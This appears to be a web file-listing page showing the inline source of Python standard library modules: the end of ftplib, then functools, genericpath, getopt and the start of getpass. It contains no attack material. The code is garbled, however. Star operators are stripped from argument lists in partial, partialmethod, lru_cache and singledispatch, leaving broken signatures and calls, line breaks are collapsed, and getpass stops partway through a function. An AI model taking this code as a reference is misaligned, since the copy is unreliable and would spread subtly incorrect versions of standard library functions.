netrcobj.authenticators(host) except KeyError: # no account for host sys.stderr.write( "No account -- using anonymous login.") ftp.login(userid, passwd, acct) for file in sys.argv[2:]: if file[:2] == '-l': ftp.dir(file[2:]) elif file[:2] == '-d': cmd = 'CWD' if file[2:]: cmd = cmd + ' ' + file[2:] resp = ftp.sendcmd(cmd) elif file == '-p': ftp.set_pasv(not ftp.passiveserver) else: ftp.retrbinary('RETR ' + file, \ sys.stdout.write, 1024) ftp.quit() if __name__ == '__main__': test()	34.78 KB	2024-04-17 17:55
📄 functools.py """functools.py - Tools for working with functions and callable objects """ # Python module wrapper for _functools C module # to allow utilities written in Python to be added # to the functools module. # Written by Nick Coghlan <ncoghlan at gmail.com>, # Raymond Hettinger <python at rcn.com>, # and Łukasz Langa <lukasz at langa.pl>. # Copyright (C) 2006-2013 Python Software Foundation. # See C source code for _functools credits/copyright __all__ = ['update_wrapper', 'wraps', 'WRAPPER_ASSIGNMENTS', 'WRAPPER_UPDATES', 'total_ordering', 'cmp_to_key', 'lru_cache', 'reduce', 'partial', 'partialmethod', 'singledispatch'] try: from _functools import reduce except ImportError: pass from abc import get_cache_token from collections import namedtuple # import types, weakref # Deferred to single_dispatch() from reprlib import recursive_repr from _thread import RLock ################################################################################ ### update_wrapper() and wraps() decorator ################################################################################ # update_wrapper() and wraps() are tools to help write # wrapper functions that can handle naive introspection WRAPPER_ASSIGNMENTS = ('__module__', '__name__', '__qualname__', '__doc__', '__annotations__') WRAPPER_UPDATES = ('__dict__',) def update_wrapper(wrapper, wrapped, assigned = WRAPPER_ASSIGNMENTS, updated = WRAPPER_UPDATES): """Update a wrapper function to look like the wrapped function wrapper is the function to be updated wrapped is the original function assigned is a tuple naming the attributes assigned directly from the wrapped function to the wrapper function (defaults to functools.WRAPPER_ASSIGNMENTS) updated is a tuple naming the attributes of the wrapper that are updated with the corresponding attribute from the wrapped function (defaults to functools.WRAPPER_UPDATES) """ for attr in assigned: try: value = getattr(wrapped, attr) except AttributeError: pass else: setattr(wrapper, attr, value) for attr in updated: getattr(wrapper, attr).update(getattr(wrapped, attr, {})) # Issue #17482: set __wrapped__ last so we don't inadvertently copy it # from the wrapped function when updating __dict__ wrapper.__wrapped__ = wrapped # Return the wrapper so this can be used as a decorator via partial() return wrapper def wraps(wrapped, assigned = WRAPPER_ASSIGNMENTS, updated = WRAPPER_UPDATES): """Decorator factory to apply update_wrapper() to a wrapper function Returns a decorator that invokes update_wrapper() with the decorated function as the wrapper argument and the arguments to wraps() as the remaining arguments. Default arguments are as for update_wrapper(). This is a convenience function to simplify applying partial() to update_wrapper(). """ return partial(update_wrapper, wrapped=wrapped, assigned=assigned, updated=updated) ################################################################################ ### total_ordering class decorator ################################################################################ # The total ordering functions all invoke the root magic method directly # rather than using the corresponding operator. This avoids possible # infinite recursion that could occur when the operator dispatch logic # detects a NotImplemented result and then calls a reflected method. def _gt_from_lt(self, other, NotImplemented=NotImplemented): 'Return a > b. Computed by @total_ordering from (not a < b) and (a != b).' op_result = self.__lt__(other) if op_result is NotImplemented: return op_result return not op_result and self != other def _le_from_lt(self, other, NotImplemented=NotImplemented): 'Return a <= b. Computed by @total_ordering from (a < b) or (a == b).' op_result = self.__lt__(other) return op_result or self == other def _ge_from_lt(self, other, NotImplemented=NotImplemented): 'Return a >= b. Computed by @total_ordering from (not a < b).' op_result = self.__lt__(other) if op_result is NotImplemented: return op_result return not op_result def _ge_from_le(self, other, NotImplemented=NotImplemented): 'Return a >= b. Computed by @total_ordering from (not a <= b) or (a == b).' op_result = self.__le__(other) if op_result is NotImplemented: return op_result return not op_result or self == other def _lt_from_le(self, other, NotImplemented=NotImplemented): 'Return a < b. Computed by @total_ordering from (a <= b) and (a != b).' op_result = self.__le__(other) if op_result is NotImplemented: return op_result return op_result and self != other def _gt_from_le(self, other, NotImplemented=NotImplemented): 'Return a > b. Computed by @total_ordering from (not a <= b).' op_result = self.__le__(other) if op_result is NotImplemented: return op_result return not op_result def _lt_from_gt(self, other, NotImplemented=NotImplemented): 'Return a < b. Computed by @total_ordering from (not a > b) and (a != b).' op_result = self.__gt__(other) if op_result is NotImplemented: return op_result return not op_result and self != other def _ge_from_gt(self, other, NotImplemented=NotImplemented): 'Return a >= b. Computed by @total_ordering from (a > b) or (a == b).' op_result = self.__gt__(other) return op_result or self == other def _le_from_gt(self, other, NotImplemented=NotImplemented): 'Return a <= b. Computed by @total_ordering from (not a > b).' op_result = self.__gt__(other) if op_result is NotImplemented: return op_result return not op_result def _le_from_ge(self, other, NotImplemented=NotImplemented): 'Return a <= b. Computed by @total_ordering from (not a >= b) or (a == b).' op_result = self.__ge__(other) if op_result is NotImplemented: return op_result return not op_result or self == other def _gt_from_ge(self, other, NotImplemented=NotImplemented): 'Return a > b. Computed by @total_ordering from (a >= b) and (a != b).' op_result = self.__ge__(other) if op_result is NotImplemented: return op_result return op_result and self != other def _lt_from_ge(self, other, NotImplemented=NotImplemented): 'Return a < b. Computed by @total_ordering from (not a >= b).' op_result = self.__ge__(other) if op_result is NotImplemented: return op_result return not op_result _convert = { '__lt__': [('__gt__', _gt_from_lt), ('__le__', _le_from_lt), ('__ge__', _ge_from_lt)], '__le__': [('__ge__', _ge_from_le), ('__lt__', _lt_from_le), ('__gt__', _gt_from_le)], '__gt__': [('__lt__', _lt_from_gt), ('__ge__', _ge_from_gt), ('__le__', _le_from_gt)], '__ge__': [('__le__', _le_from_ge), ('__gt__', _gt_from_ge), ('__lt__', _lt_from_ge)] } def total_ordering(cls): """Class decorator that fills in missing ordering methods""" # Find user-defined comparisons (not those inherited from object). roots = {op for op in _convert if getattr(cls, op, None) is not getattr(object, op, None)} if not roots: raise ValueError('must define at least one ordering operation: < > <= >=') root = max(roots) # prefer __lt__ to __le__ to __gt__ to __ge__ for opname, opfunc in _convert[root]: if opname not in roots: opfunc.__name__ = opname setattr(cls, opname, opfunc) return cls ################################################################################ ### cmp_to_key() function converter ################################################################################ def cmp_to_key(mycmp): """Convert a cmp= function into a key= function""" class K(object): __slots__ = ['obj'] def __init__(self, obj): self.obj = obj def __lt__(self, other): return mycmp(self.obj, other.obj) < 0 def __gt__(self, other): return mycmp(self.obj, other.obj) > 0 def __eq__(self, other): return mycmp(self.obj, other.obj) == 0 def __le__(self, other): return mycmp(self.obj, other.obj) <= 0 def __ge__(self, other): return mycmp(self.obj, other.obj) >= 0 __hash__ = None return K try: from _functools import cmp_to_key except ImportError: pass ################################################################################ ### partial() argument application ################################################################################ # Purely functional, no descriptor behaviour class partial: """New function with partial application of the given arguments and keywords. """ __slots__ = "func", "args", "keywords", "__dict__", "__weakref__" def __new__(args, keywords): if not args: raise TypeError("descriptor '__new__' of partial needs an argument") if len(args) < 2: raise TypeError("type 'partial' takes at least one argument") cls, func, args = args if not callable(func): raise TypeError("the first argument must be callable") args = tuple(args) if hasattr(func, "func"): args = func.args + args tmpkw = func.keywords.copy() tmpkw.update(keywords) keywords = tmpkw del tmpkw func = func.func self = super(partial, cls).__new__(cls) self.func = func self.args = args self.keywords = keywords return self def __call__(args, keywords): if not args: raise TypeError("descriptor '__call__' of partial needs an argument") self, args = args newkeywords = self.keywords.copy() newkeywords.update(keywords) return self.func(self.args, args, *newkeywords) @recursive_repr() def __repr__(self): qualname = type(self).__qualname__ args = [repr(self.func)] args.extend(repr(x) for x in self.args) args.extend(f"{k}={v!r}" for (k, v) in self.keywords.items()) if type(self).__module__ == "functools": return f"functools.{qualname}({', '.join(args)})" return f"{qualname}({', '.join(args)})" def __reduce__(self): return type(self), (self.func,), (self.func, self.args, self.keywords or None, self.__dict__ or None) def __setstate__(self, state): if not isinstance(state, tuple): raise TypeError("argument to __setstate__ must be a tuple") if len(state) != 4: raise TypeError(f"expected 4 items in state, got {len(state)}") func, args, kwds, namespace = state if (not callable(func) or not isinstance(args, tuple) or (kwds is not None and not isinstance(kwds, dict)) or (namespace is not None and not isinstance(namespace, dict))): raise TypeError("invalid partial state") args = tuple(args) # just in case it's a subclass if kwds is None: kwds = {} elif type(kwds) is not dict: # XXX does it need to be exactly* dict? kwds = dict(kwds) if namespace is None: namespace = {} self.__dict__ = namespace self.func = func self.args = args self.keywords = kwds try: from _functools import partial except ImportError: pass # Descriptor version class partialmethod(object): """Method descriptor with partial application of the given arguments and keywords. Supports wrapping existing descriptors and handles non-descriptor callables as instance methods. """ def __init__(args, keywords): if len(args) >= 2: self, func, args = args elif not args: raise TypeError("descriptor '__init__' of partialmethod " "needs an argument") elif 'func' in keywords: func = keywords.pop('func') self, args = args else: raise TypeError("type 'partialmethod' takes at least one argument, " "got %d" % (len(args)-1)) args = tuple(args) if not callable(func) and not hasattr(func, "__get__"): raise TypeError("{!r} is not callable or a descriptor" .format(func)) # func could be a descriptor like classmethod which isn't callable, # so we can't inherit from partial (it verifies func is callable) if isinstance(func, partialmethod): # flattening is mandatory in order to place cls/self before all # other arguments # it's also more efficient since only one function will be called self.func = func.func self.args = func.args + args self.keywords = func.keywords.copy() self.keywords.update(keywords) else: self.func = func self.args = args self.keywords = keywords def __repr__(self): args = ", ".join(map(repr, self.args)) keywords = ", ".join("{}={!r}".format(k, v) for k, v in self.keywords.items()) format_string = "{module}.{cls}({func}, {args}, {keywords})" return format_string.format(module=self.__class__.__module__, cls=self.__class__.__qualname__, func=self.func, args=args, keywords=keywords) def _make_unbound_method(self): def _method(args, *keywords): call_keywords = self.keywords.copy() call_keywords.update(keywords) cls_or_self, rest = args call_args = (cls_or_self,) + self.args + tuple(rest) return self.func(call_args, call_keywords) _method.__isabstractmethod__ = self.__isabstractmethod__ _method._partialmethod = self return _method def __get__(self, obj, cls): get = getattr(self.func, "__get__", None) result = None if get is not None: new_func = get(obj, cls) if new_func is not self.func: # Assume __get__ returning something new indicates the # creation of an appropriate callable result = partial(new_func, self.args, *self.keywords) try: result.__self__ = new_func.__self__ except AttributeError: pass if result is None: # If the underlying descriptor didn't do anything, treat this # like an instance method result = self._make_unbound_method().__get__(obj, cls) return result @property def __isabstractmethod__(self): return getattr(self.func, "__isabstractmethod__", False) ################################################################################ ### LRU Cache function decorator ################################################################################ _CacheInfo = namedtuple("CacheInfo", ["hits", "misses", "maxsize", "currsize"]) class _HashedSeq(list): """ This class guarantees that hash() will be called no more than once per element. This is important because the lru_cache() will hash the key multiple times on a cache miss. """ __slots__ = 'hashvalue' def __init__(self, tup, hash=hash): self[:] = tup self.hashvalue = hash(tup) def __hash__(self): return self.hashvalue def _make_key(args, kwds, typed, kwd_mark = (object(),), fasttypes = {int, str}, tuple=tuple, type=type, len=len): """Make a cache key from optionally typed positional and keyword arguments The key is constructed in a way that is flat as possible rather than as a nested structure that would take more memory. If there is only a single argument and its data type is known to cache its hash value, then that argument is returned without a wrapper. This saves space and improves lookup speed. """ # All of code below relies on kwds preserving the order input by the user. # Formerly, we sorted() the kwds before looping. The new way is much* # faster; however, it means that f(x=1, y=2) will now be treated as a # distinct call from f(y=2, x=1) which will be cached separately. key = args if kwds: key += kwd_mark for item in kwds.items(): key += item if typed: key += tuple(type(v) for v in args) if kwds: key += tuple(type(v) for v in kwds.values()) elif len(key) == 1 and type(key[0]) in fasttypes: return key[0] return _HashedSeq(key) def lru_cache(maxsize=128, typed=False): """Least-recently-used cache decorator. If maxsize is set to None, the LRU features are disabled and the cache can grow without bound. If typed is True, arguments of different types will be cached separately. For example, f(3.0) and f(3) will be treated as distinct calls with distinct results. Arguments to the cached function must be hashable. View the cache statistics named tuple (hits, misses, maxsize, currsize) with f.cache_info(). Clear the cache and statistics with f.cache_clear(). Access the underlying function with f.__wrapped__. See: http://en.wikipedia.org/wiki/Cache_replacement_policies#Least_recently_used_(LRU) """ # Users should only access the lru_cache through its public API: # cache_info, cache_clear, and f.__wrapped__ # The internals of the lru_cache are encapsulated for thread safety and # to allow the implementation to change (including a possible C version). # Early detection of an erroneous call to @lru_cache without any arguments # resulting in the inner function being passed to maxsize instead of an # integer or None. Negative maxsize is treated as 0. if isinstance(maxsize, int): if maxsize < 0: maxsize = 0 elif maxsize is not None: raise TypeError('Expected maxsize to be an integer or None') def decorating_function(user_function): wrapper = _lru_cache_wrapper(user_function, maxsize, typed, _CacheInfo) return update_wrapper(wrapper, user_function) return decorating_function def _lru_cache_wrapper(user_function, maxsize, typed, _CacheInfo): # Constants shared by all lru cache instances: sentinel = object() # unique object used to signal cache misses make_key = _make_key # build a key from the function arguments PREV, NEXT, KEY, RESULT = 0, 1, 2, 3 # names for the link fields cache = {} hits = misses = 0 full = False cache_get = cache.get # bound method to lookup a key or return None cache_len = cache.__len__ # get cache size without calling len() lock = RLock() # because linkedlist updates aren't threadsafe root = [] # root of the circular doubly linked list root[:] = [root, root, None, None] # initialize by pointing to self if maxsize == 0: def wrapper(args, kwds): # No caching -- just a statistics update nonlocal misses misses += 1 result = user_function(args, *kwds) return result elif maxsize is None: def wrapper(args, *kwds): # Simple caching without ordering or size limit nonlocal hits, misses key = make_key(args, kwds, typed) result = cache_get(key, sentinel) if result is not sentinel: hits += 1 return result misses += 1 result = user_function(args, *kwds) cache[key] = result return result else: def wrapper(args, *kwds): # Size limited caching that tracks accesses by recency nonlocal root, hits, misses, full key = make_key(args, kwds, typed) with lock: link = cache_get(key) if link is not None: # Move the link to the front of the circular queue link_prev, link_next, _key, result = link link_prev[NEXT] = link_next link_next[PREV] = link_prev last = root[PREV] last[NEXT] = root[PREV] = link link[PREV] = last link[NEXT] = root hits += 1 return result misses += 1 result = user_function(args, *kwds) with lock: if key in cache: # Getting here means that this same key was added to the # cache while the lock was released. Since the link # update is already done, we need only return the # computed result and update the count of misses. pass elif full: # Use the old root to store the new key and result. oldroot = root oldroot[KEY] = key oldroot[RESULT] = result # Empty the oldest link and make it the new root. # Keep a reference to the old key and old result to # prevent their ref counts from going to zero during the # update. That will prevent potentially arbitrary object # clean-up code (i.e. __del__) from running while we're # still adjusting the links. root = oldroot[NEXT] oldkey = root[KEY] oldresult = root[RESULT] root[KEY] = root[RESULT] = None # Now update the cache dictionary. del cache[oldkey] # Save the potentially reentrant cache[key] assignment # for last, after the root and links have been put in # a consistent state. cache[key] = oldroot else: # Put result in a new link at the front of the queue. last = root[PREV] link = [last, root, key, result] last[NEXT] = root[PREV] = cache[key] = link # Use the cache_len bound method instead of the len() function # which could potentially be wrapped in an lru_cache itself. full = (cache_len() >= maxsize) return result def cache_info(): """Report cache statistics""" with lock: return _CacheInfo(hits, misses, maxsize, cache_len()) def cache_clear(): """Clear the cache and cache statistics""" nonlocal hits, misses, full with lock: cache.clear() root[:] = [root, root, None, None] hits = misses = 0 full = False wrapper.cache_info = cache_info wrapper.cache_clear = cache_clear return wrapper try: from _functools import _lru_cache_wrapper except ImportError: pass ################################################################################ ### singledispatch() - single-dispatch generic function decorator ################################################################################ def _c3_merge(sequences): """Merges MROs in sequences* to a single MRO using the C3 algorithm. Adapted from http://www.python.org/download/releases/2.3/mro/. """ result = [] while True: sequences = [s for s in sequences if s] # purge empty sequences if not sequences: return result for s1 in sequences: # find merge candidates among seq heads candidate = s1[0] for s2 in sequences: if candidate in s2[1:]: candidate = None break # reject the current head, it appears later else: break if candidate is None: raise RuntimeError("Inconsistent hierarchy") result.append(candidate) # remove the chosen candidate for seq in sequences: if seq[0] == candidate: del seq[0] def _c3_mro(cls, abcs=None): """Computes the method resolution order using extended C3 linearization. If no abcs are given, the algorithm works exactly like the built-in C3 linearization used for method resolution. If given, abcs is a list of abstract base classes that should be inserted into the resulting MRO. Unrelated ABCs are ignored and don't end up in the result. The algorithm inserts ABCs where their functionality is introduced, i.e. issubclass(cls, abc) returns True for the class itself but returns False for all its direct base classes. Implicit ABCs for a given class (either registered or inferred from the presence of a special method like __len__) are inserted directly after the last ABC explicitly listed in the MRO of said class. If two implicit ABCs end up next to each other in the resulting MRO, their ordering depends on the order of types in abcs. """ for i, base in enumerate(reversed(cls.__bases__)): if hasattr(base, '__abstractmethods__'): boundary = len(cls.__bases__) - i break # Bases up to the last explicit ABC are considered first. else: boundary = 0 abcs = list(abcs) if abcs else [] explicit_bases = list(cls.__bases__[:boundary]) abstract_bases = [] other_bases = list(cls.__bases__[boundary:]) for base in abcs: if issubclass(cls, base) and not any( issubclass(b, base) for b in cls.__bases__ ): # If cls is the class that introduces behaviour described by # an ABC base, insert said ABC to its MRO. abstract_bases.append(base) for base in abstract_bases: abcs.remove(base) explicit_c3_mros = [_c3_mro(base, abcs=abcs) for base in explicit_bases] abstract_c3_mros = [_c3_mro(base, abcs=abcs) for base in abstract_bases] other_c3_mros = [_c3_mro(base, abcs=abcs) for base in other_bases] return _c3_merge( [[cls]] + explicit_c3_mros + abstract_c3_mros + other_c3_mros + [explicit_bases] + [abstract_bases] + [other_bases] ) def _compose_mro(cls, types): """Calculates the method resolution order for a given class cls. Includes relevant abstract base classes (with their respective bases) from the types iterable. Uses a modified C3 linearization algorithm. """ bases = set(cls.__mro__) # Remove entries which are already present in the __mro__ or unrelated. def is_related(typ): return (typ not in bases and hasattr(typ, '__mro__') and issubclass(cls, typ)) types = [n for n in types if is_related(n)] # Remove entries which are strict bases of other entries (they will end up # in the MRO anyway. def is_strict_base(typ): for other in types: if typ != other and typ in other.__mro__: return True return False types = [n for n in types if not is_strict_base(n)] # Subclasses of the ABCs in types which are also implemented by # cls can be used to stabilize ABC ordering. type_set = set(types) mro = [] for typ in types: found = [] for sub in typ.__subclasses__(): if sub not in bases and issubclass(cls, sub): found.append([s for s in sub.__mro__ if s in type_set]) if not found: mro.append(typ) continue # Favor subclasses with the biggest number of useful bases found.sort(key=len, reverse=True) for sub in found: for subcls in sub: if subcls not in mro: mro.append(subcls) return _c3_mro(cls, abcs=mro) def _find_impl(cls, registry): """Returns the best matching implementation from registry for type cls. Where there is no registered implementation for a specific type, its method resolution order is used to find a more generic implementation. Note: if registry does not contain an implementation for the base object type, this function may return None. """ mro = _compose_mro(cls, registry.keys()) match = None for t in mro: if match is not None: # If match is an implicit ABC but there is another unrelated, # equally matching implicit ABC, refuse the temptation to guess. if (t in registry and t not in cls.__mro__ and match not in cls.__mro__ and not issubclass(match, t)): raise RuntimeError("Ambiguous dispatch: {} or {}".format( match, t)) break if t in registry: match = t return registry.get(match) def singledispatch(func): """Single-dispatch generic function decorator. Transforms a function into a generic function, which can have different behaviours depending upon the type of its first argument. The decorated function acts as the default implementation, and additional implementations can be registered using the register() attribute of the generic function. """ # There are many programs that use functools without singledispatch, so we # trade-off making singledispatch marginally slower for the benefit of # making start-up of such applications slightly faster. import types, weakref registry = {} dispatch_cache = weakref.WeakKeyDictionary() cache_token = None def dispatch(cls): """generic_func.dispatch(cls) -> <function implementation> Runs the dispatch algorithm to return the best available implementation for the given cls registered on generic_func. """ nonlocal cache_token if cache_token is not None: current_token = get_cache_token() if cache_token != current_token: dispatch_cache.clear() cache_token = current_token try: impl = dispatch_cache[cls] except KeyError: try: impl = registry[cls] except KeyError: impl = _find_impl(cls, registry) dispatch_cache[cls] = impl return impl def register(cls, func=None): """generic_func.register(cls, func) -> func Registers a new implementation for the given cls on a generic_func. """ nonlocal cache_token if func is None: if isinstance(cls, type): return lambda f: register(cls, f) ann = getattr(cls, '__annotations__', {}) if not ann: raise TypeError( f"Invalid first argument to `register()`: {cls!r}. " f"Use either `@register(some_class)` or plain `@register` " f"on an annotated function." ) func = cls # only import typing if annotation parsing is necessary from typing import get_type_hints argname, cls = next(iter(get_type_hints(func).items())) assert isinstance(cls, type), ( f"Invalid annotation for {argname!r}. {cls!r} is not a class." ) registry[cls] = func if cache_token is None and hasattr(cls, '__abstractmethods__'): cache_token = get_cache_token() dispatch_cache.clear() return func def wrapper(args, kw): if not args: raise TypeError(f'{funcname} requires at least ' '1 positional argument') return dispatch(args[0].__class__)(args, **kw) funcname = getattr(func, '__name__', 'singledispatch function') registry[object] = func wrapper.register = register wrapper.dispatch = dispatch wrapper.registry = types.MappingProxyType(registry) wrapper._clear_cache = dispatch_cache.clear update_wrapper(wrapper, func) return wrapper	32.16 KB	2024-04-17 17:55
📄 genericpath.py """ Path operations common to more than one OS Do not use directly. The OS specific modules import the appropriate functions from this module themselves. """ import os import stat __all__ = ['commonprefix', 'exists', 'getatime', 'getctime', 'getmtime', 'getsize', 'isdir', 'isfile', 'samefile', 'sameopenfile', 'samestat'] # Does a path exist? # This is false for dangling symbolic links on systems that support them. def exists(path): """Test whether a path exists. Returns False for broken symbolic links""" try: os.stat(path) except OSError: return False return True # This follows symbolic links, so both islink() and isdir() can be true # for the same path on systems that support symlinks def isfile(path): """Test whether a path is a regular file""" try: st = os.stat(path) except OSError: return False return stat.S_ISREG(st.st_mode) # Is a path a directory? # This follows symbolic links, so both islink() and isdir() # can be true for the same path on systems that support symlinks def isdir(s): """Return true if the pathname refers to an existing directory.""" try: st = os.stat(s) except OSError: return False return stat.S_ISDIR(st.st_mode) def getsize(filename): """Return the size of a file, reported by os.stat().""" return os.stat(filename).st_size def getmtime(filename): """Return the last modification time of a file, reported by os.stat().""" return os.stat(filename).st_mtime def getatime(filename): """Return the last access time of a file, reported by os.stat().""" return os.stat(filename).st_atime def getctime(filename): """Return the metadata change time of a file, reported by os.stat().""" return os.stat(filename).st_ctime # Return the longest prefix of all list elements. def commonprefix(m): "Given a list of pathnames, returns the longest common leading component" if not m: return '' # Some people pass in a list of pathname parts to operate in an OS-agnostic # fashion; don't try to translate in that case as that's an abuse of the # API and they are already doing what they need to be OS-agnostic and so # they most likely won't be using an os.PathLike object in the sublists. if not isinstance(m[0], (list, tuple)): m = tuple(map(os.fspath, m)) s1 = min(m) s2 = max(m) for i, c in enumerate(s1): if c != s2[i]: return s1[:i] return s1 # Are two stat buffers (obtained from stat, fstat or lstat) # describing the same file? def samestat(s1, s2): """Test whether two stat buffers reference the same file""" return (s1.st_ino == s2.st_ino and s1.st_dev == s2.st_dev) # Are two filenames really pointing to the same file? def samefile(f1, f2): """Test whether two pathnames reference the same actual file or directory This is determined by the device number and i-node number and raises an exception if an os.stat() call on either pathname fails. """ s1 = os.stat(f1) s2 = os.stat(f2) return samestat(s1, s2) # Are two open files really referencing the same file? # (Not necessarily the same file descriptor!) def sameopenfile(fp1, fp2): """Test whether two open file objects reference the same file""" s1 = os.fstat(fp1) s2 = os.fstat(fp2) return samestat(s1, s2) # Split a path in root and extension. # The extension is everything starting at the last dot in the last # pathname component; the root is everything before that. # It is always true that root + ext == p. # Generic implementation of splitext, to be parametrized with # the separators def _splitext(p, sep, altsep, extsep): """Split the extension from a pathname. Extension is everything from the last dot to the end, ignoring leading dots. Returns "(root, ext)"; ext may be empty.""" # NOTE: This code must work for text and bytes strings. sepIndex = p.rfind(sep) if altsep: altsepIndex = p.rfind(altsep) sepIndex = max(sepIndex, altsepIndex) dotIndex = p.rfind(extsep) if dotIndex > sepIndex: # skip all leading dots filenameIndex = sepIndex + 1 while filenameIndex < dotIndex: if p[filenameIndex:filenameIndex+1] != extsep: return p[:dotIndex], p[dotIndex:] filenameIndex += 1 return p, p[:0] def _check_arg_types(funcname, *args): hasstr = hasbytes = False for s in args: if isinstance(s, str): hasstr = True elif isinstance(s, bytes): hasbytes = True else: raise TypeError('%s() argument must be str or bytes, not %r' % (funcname, s.__class__.__name__)) from None if hasstr and hasbytes: raise TypeError("Can't mix strings and bytes in path components") from None	4.8 KB	2024-04-17 17:55
📄 getopt.py """Parser for command line options. This module helps scripts to parse the command line arguments in sys.argv. It supports the same conventions as the Unix getopt() function (including the special meanings of arguments of the form `-' and `--'). Long options similar to those supported by GNU software may be used as well via an optional third argument. This module provides two functions and an exception: getopt() -- Parse command line options gnu_getopt() -- Like getopt(), but allow option and non-option arguments to be intermixed. GetoptError -- exception (class) raised with 'opt' attribute, which is the option involved with the exception. """ # Long option support added by Lars Wirzenius <liw@iki.fi>. # # Gerrit Holl <gerrit@nl.linux.org> moved the string-based exceptions # to class-based exceptions. # # Peter Åstrand <astrand@lysator.liu.se> added gnu_getopt(). # # TODO for gnu_getopt(): # # - GNU getopt_long_only mechanism # - allow the caller to specify ordering # - RETURN_IN_ORDER option # - GNU extension with '-' as first character of option string # - optional arguments, specified by double colons # - an option string with a W followed by semicolon should # treat "-W foo" as "--foo" __all__ = ["GetoptError","error","getopt","gnu_getopt"] import os try: from gettext import gettext as _ except ImportError: # Bootstrapping Python: gettext's dependencies not built yet def _(s): return s class GetoptError(Exception): opt = '' msg = '' def __init__(self, msg, opt=''): self.msg = msg self.opt = opt Exception.__init__(self, msg, opt) def __str__(self): return self.msg error = GetoptError # backward compatibility def getopt(args, shortopts, longopts = []): """getopt(args, options[, long_options]) -> opts, args Parses command line options and parameter list. args is the argument list to be parsed, without the leading reference to the running program. Typically, this means "sys.argv[1:]". shortopts is the string of option letters that the script wants to recognize, with options that require an argument followed by a colon (i.e., the same format that Unix getopt() uses). If specified, longopts is a list of strings with the names of the long options which should be supported. The leading '--' characters should not be included in the option name. Options which require an argument should be followed by an equal sign ('='). The return value consists of two elements: the first is a list of (option, value) pairs; the second is the list of program arguments left after the option list was stripped (this is a trailing slice of the first argument). Each option-and-value pair returned has the option as its first element, prefixed with a hyphen (e.g., '-x'), and the option argument as its second element, or an empty string if the option has no argument. The options occur in the list in the same order in which they were found, thus allowing multiple occurrences. Long and short options may be mixed. """ opts = [] if type(longopts) == type(""): longopts = [longopts] else: longopts = list(longopts) while args and args[0].startswith('-') and args[0] != '-': if args[0] == '--': args = args[1:] break if args[0].startswith('--'): opts, args = do_longs(opts, args[0][2:], longopts, args[1:]) else: opts, args = do_shorts(opts, args[0][1:], shortopts, args[1:]) return opts, args def gnu_getopt(args, shortopts, longopts = []): """getopt(args, options[, long_options]) -> opts, args This function works like getopt(), except that GNU style scanning mode is used by default. This means that option and non-option arguments may be intermixed. The getopt() function stops processing options as soon as a non-option argument is encountered. If the first character of the option string is `+', or if the environment variable POSIXLY_CORRECT is set, then option processing stops as soon as a non-option argument is encountered. """ opts = [] prog_args = [] if isinstance(longopts, str): longopts = [longopts] else: longopts = list(longopts) # Allow options after non-option arguments? if shortopts.startswith('+'): shortopts = shortopts[1:] all_options_first = True elif os.environ.get("POSIXLY_CORRECT"): all_options_first = True else: all_options_first = False while args: if args[0] == '--': prog_args += args[1:] break if args[0][:2] == '--': opts, args = do_longs(opts, args[0][2:], longopts, args[1:]) elif args[0][:1] == '-' and args[0] != '-': opts, args = do_shorts(opts, args[0][1:], shortopts, args[1:]) else: if all_options_first: prog_args += args break else: prog_args.append(args[0]) args = args[1:] return opts, prog_args def do_longs(opts, opt, longopts, args): try: i = opt.index('=') except ValueError: optarg = None else: opt, optarg = opt[:i], opt[i+1:] has_arg, opt = long_has_args(opt, longopts) if has_arg: if optarg is None: if not args: raise GetoptError(_('option --%s requires argument') % opt, opt) optarg, args = args[0], args[1:] elif optarg is not None: raise GetoptError(_('option --%s must not have an argument') % opt, opt) opts.append(('--' + opt, optarg or '')) return opts, args # Return: # has_arg? # full option name def long_has_args(opt, longopts): possibilities = [o for o in longopts if o.startswith(opt)] if not possibilities: raise GetoptError(_('option --%s not recognized') % opt, opt) # Is there an exact match? if opt in possibilities: return False, opt elif opt + '=' in possibilities: return True, opt # No exact match, so better be unique. if len(possibilities) > 1: # XXX since possibilities contains all valid continuations, might be # nice to work them into the error msg raise GetoptError(_('option --%s not a unique prefix') % opt, opt) assert len(possibilities) == 1 unique_match = possibilities[0] has_arg = unique_match.endswith('=') if has_arg: unique_match = unique_match[:-1] return has_arg, unique_match def do_shorts(opts, optstring, shortopts, args): while optstring != '': opt, optstring = optstring[0], optstring[1:] if short_has_arg(opt, shortopts): if optstring == '': if not args: raise GetoptError(_('option -%s requires argument') % opt, opt) optstring, args = args[0], args[1:] optarg, optstring = optstring, '' else: optarg = '' opts.append(('-' + opt, optarg)) return opts, args def short_has_arg(opt, shortopts): for i in range(len(shortopts)): if opt == shortopts[i] != ':': return shortopts.startswith(':', i+1) raise GetoptError(_('option -%s not recognized') % opt, opt) if __name__ == '__main__': import sys print(getopt(sys.argv[1:], "a:b", ["alpha=", "beta"]))	7.31 KB	2024-04-17 17:55
📄 getpass.py """Utilities to get a password and/or the current user name. getpass(prompt[, stream]) - Prompt for a password, with echo turned off. getuser() - Get the user name from the environment or password database. GetPassWarning - This UserWarning is issued when getpass() cannot prevent echoing of the password contents while reading. On Windows, the msvcrt module will be used. """ # Authors: Piers Lauder (original) # Guido van Rossum (Windows support and cleanup) # Gregory P. Smith (tty support & GetPassWarning) import contextlib import io import os import sys import warnings __all__ = ["getpass","getuser","GetPassWarning"] class GetPassWarning(UserWarning): pass def unix_getpass(prompt='Password: ', stream=None): """Prompt for a password, with echo turned off. Args: prompt: Written on stream to ask for the input. Default: 'Password: ' stream: A writable file object to display the prompt. Defaults to the tty. If no tty is available defaults to sys.stderr. Returns: The seKr3t input. Raises: EOFError: If our input tty or stdin was closed. GetPassWarning: When we were unable to turn echo off on the input. Always restores terminal settings before returning. """ passwd = None with contextlib.ExitStack() as stack: try: # Always try reading and writing directly on the tty first. fd = os.open('/dev/tty', os.O_RDWR\|os.O_NOCTTY) tty = io.FileIO(fd, 'w+') stack.enter_context(tty) input = io.TextIOWrapper(tty) stack.enter_context(input) if not stream: stream = input except OSError as e: # If that fails, see if stdin can be controlled. stack.close() try: fd = sys.stdin.fileno() except (AttributeError, ValueError): fd = None passwd = fallback_getpass(prompt, stream) input = sys.stdin if not stream: stream = sys.stderr if fd is not None: try: old = termios.tcgetattr(fd) # a copy to save new = old[:] new[3] &= ~termios.ECHO # 3 == 'lflags' tcsetattr_flags = termios.TCSAFLUSH if hasattr(termios, 'TCSASOFT'): tcsetattr_flags \|= termios.TCSASOFT try: termios.tcsetattr(fd, tcsetattr_flags, new) passwd = _raw_input(prompt, stream, input=input) finally: termios.tcsetattr(fd, tcsetattr_flags, old) 